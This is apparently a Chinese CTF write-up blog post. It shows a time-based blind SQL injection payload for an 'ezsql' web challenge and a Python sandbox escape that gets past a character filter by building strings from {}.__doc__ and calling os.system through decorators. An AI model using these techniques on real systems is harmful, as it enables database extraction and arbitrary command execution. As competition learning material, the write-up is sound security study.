??既然创建了那就写完
这次比赛输出很惨烈,回去再练练吧
本来2人组了个摆烂队准备签个到,中途加进来了zsky师傅说一起摆,然后大佬出了4个re一血贡献了2000分,俺们两个加起来贡献了400分,俺作为web手输出了个签到呜呜呜
复盘
(官方wp)
太废物了
web
ezsql
payload:
1
| ?username[0]=exp&username[1]=sleep(if(((substr((select(database())),11,1)="f")),10,0))&username[2]=1substr((select(database())),11,1)="f"
|
脚本:
misc
Python沙盒绕过
关键在于学python,而8是学姿势,因为姿势太多了…..
题目的话,是要给1个QQ_bot发送payload以获取flag,因为时隔已久,所以也没保存截图啥的
有个附件,里面是代码,当时心态大崩所以连打开康康的勇气都没了…
事实上这个决定也没戳,看了大佬的wp后,这道题要想有个思路啥的至少得有150点Python精通,像什么__doc__之类的我一个写爬虫的屑辣鸡压根没听过….(虽然如此,但绕过的方法应该8止这一种)
payload
下载附件,是python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import sys from base64 import b64decode, b64encode
code = sys.argv[1] try: data = b64decode(code.encode()).decode() except: exit(0)
for c in 'h"\'(': if c in data: exit(0)
exec(data)
|
思路: 写在理解后
首先,输入字符串,被base64解码,再被屏蔽掉 h “ ‘ \ ( 这些字符,然后进行exec
那么就阔以通过利用差8多exec(“os.system(‘xxx’)”)的形式进行操作, 但是里面的单引号和xxx怎么绕过呢?
阔以通过先构造1个字符串a,然后以exec(“os.system(a)”)的形式操作。但是构造字符串还是需要单引号啊
这里就有8止一种绕过方法了,wp是通过__doc__来绕过单引号,暂时也想不出别的方法能绕过呜呜呜
怎么通过__doc__绕过呢? 阔以看后面的扫盲
然后这个问题也就解决了,就阔以构造payload了
那么就又又问题了,屏蔽了括号,怎么绕过?
然后看的wp里构造payload需要了解 函数装饰器,这个也咩听过,后来学的,在有关python的博客文章里做笔记了,这里就掠过
然后,接下来应该由你自己实现构造了,骚年!!!
可是….构造装饰函数时也需要用到括号啊…….莫非有什么👴8知道的姿势?
payload: 比方我要输入命令ls:
1 2 3 4 5 6 7 8
| import os a={}.__doc__ cmd=a[69] + a[97] x=lambda _:cmd @os.system @x class _: pass
|
扫盲
doc
是个说明文档,用来帮助py使用者们理解的功能,eg: 略
他还有个功能就是这个:
1 2 3
| a={}.__doc__ for i in range(-350,350): print(a[i])
|
结果(去掉换行符)是一句话:
1
| dictionarydict(mapping)->newdictionaryinitializedfromamappingobject's(key,value)pairsdict(iterable)->newdictionaryinitializedasifvia:d={}fork,viniterable:d[k]=vdict(**kwargs)->newdictionaryinitializedwiththename=valuepairsinthekeywordargumentlist.Forexample:dict(one=1,two=2)dict()->newemptydictionarydict(mapping)->newdictionaryinitializedfromamappingobject's(key,value)pairsdict(iterable)->newdictionaryinitializedasifvia:d={}fork,viniterable:d[k]=vdict(**kwargs)->newdictionaryinitializedwiththename=valuepairsinthekeywordargumentlist.Forexample:
|
这句话是啥意思8要紧,但是里面有26个英文字母,阔以帮助俺们绕过,eg:
1 2
| a={}.__doc__ a[-348]+a[-343]+a[334]+a[336]+a[75]+a[69]+a[-343]+a[42]
|